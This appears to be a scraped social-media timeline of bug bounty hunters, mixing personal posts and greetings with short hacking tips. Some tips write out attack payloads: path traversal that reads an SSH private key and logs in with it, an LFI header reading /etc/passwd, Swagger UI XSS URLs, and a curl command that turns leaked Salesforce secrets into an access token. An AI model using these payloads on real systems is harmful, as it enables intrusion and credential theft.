The Mohammad

Bug Hunter | Medical Doctor

[The Mohammad @m4s_ter]

36-month streak on Hackerone through agonizing pain that doesn't stop (not even long enough to sleep), medication-induced brain fog and depression. Proud of what I built under these conditions. The streak may be ending, but what it represents isn't.

[shubs @infosec_au]

Late last month, @SLCyberSec Security Researchers Adam Kues (@hashkitten) and Dylan Pindur presented on Finding Critical Vulnerabilities in Adobe Experience Manager at @BSidesCBR. Today, we’re releasing our research post and presentation slides: https://t.co/phzQWUJgCP.

[The Mohammad @m4s_ter]

@0x_rood بالتوفيق يا غالي

[The Mohammad @m4s_ter]

@GodfatherOrwa الف مبروك ربنا يتمملكم بخير ويسعدكم

[Dexter0us @0xDexter0us]

Every single hardened #bugbounty program.

#bugbountytips #infosec

[The Mohammad @m4s_ter]

🤯🤯

[Sam Curry @samwcyo]

New writeup:

"Hacking Millions of Modems (and Investigating Who Hacked My Modem)"

https://t.co/VZbWEIF5I8

Thanks for reading! Huge thanks to @blastbots, @bbuerhaus, @infosec_au, @d0nutptr, @iangcarroll, and everyone who reviewed the post beforehand.

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

Getting the maximum impact :

read the SSH PRIVATE KEY:

aCSHELL/../../../../../../../home/admin/.ssh/id_rsa

connect to the server :

ssh [email protected] -i id_rsa

[The Mohammad @m4s_ter]

@GodfatherOrwa Thanks bro, I sent dm

[The Mohammad @m4s_ter]

Hey @GodfatherOrwa I found some creds that led me to a blank page, forwarded them to you if you could escalate 🚀

[The Mohammad @m4s_ter]

@winteri3coming PII: Pets Identifiable Information

[PandyaMayur @pandyaMayur11]

If you finds any Swagger ui endpoint try following payloads for xss+html injection.

/index.html?configUrl=https://t.co/BCj67bsP36

/index.html?configUrl=https://t.co/ZNdLs70Fa4

/index.html?config=https://t.co/bUa05PuwQf

/index.html?configUrl=https://t.co/hJKPHCQ4ze

[Corben Leo @hacker_]

I've made $500k+ from SSRF vulnerabilities.

Here are my tricks:

[The Mohammad @m4s_ter]

@winteri3coming Congrats

[Douglas Day @ArchAngelDDay]

100 (very) short bug bounty rules:

[Kanhaiya Sharma @krishnsec]

LFI in misconfigured rails application
`accept: ../../../../../../../../etc/passwd{{`

```
def index
render file: "#{Rails.root}/some/file"
end
```
#lfi #bugbountytips #bugbounty
https://t.co/P3Id3SsnQ7

[Esmaeil Rahimian @H_Mosafer]

Awesome categorized H1 bug bounty reports.
#BugBounty
https://t.co/KWON4RR694

[The Mohammad @m4s_ter]

@mahmoud_mob100 مبروك وان شاء الله المرة الجاية تبقى triaged

[The Mohammad @m4s_ter]

@hunter0x7 check your inbox please

[The Mohammad @m4s_ter]

curl https://login.salesforce[.]com/services/oauth2/token -d 'grant_type=password&client_id=ID&client_secret=SECRET&username=USER&password=PASSWORD' -H "X-PrettyPrint: 1"

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

search in the same repo for client ID&Secret

then

curl https://login.salesforce[.]com/services/oauth2/token -d 'grant_type=password&client_id=ID&client_secret=SECRET&username=USER&password=PASSWORD' -H "X-PrettyPrint: 1"

==> access token

Full Access Via Backend

2/2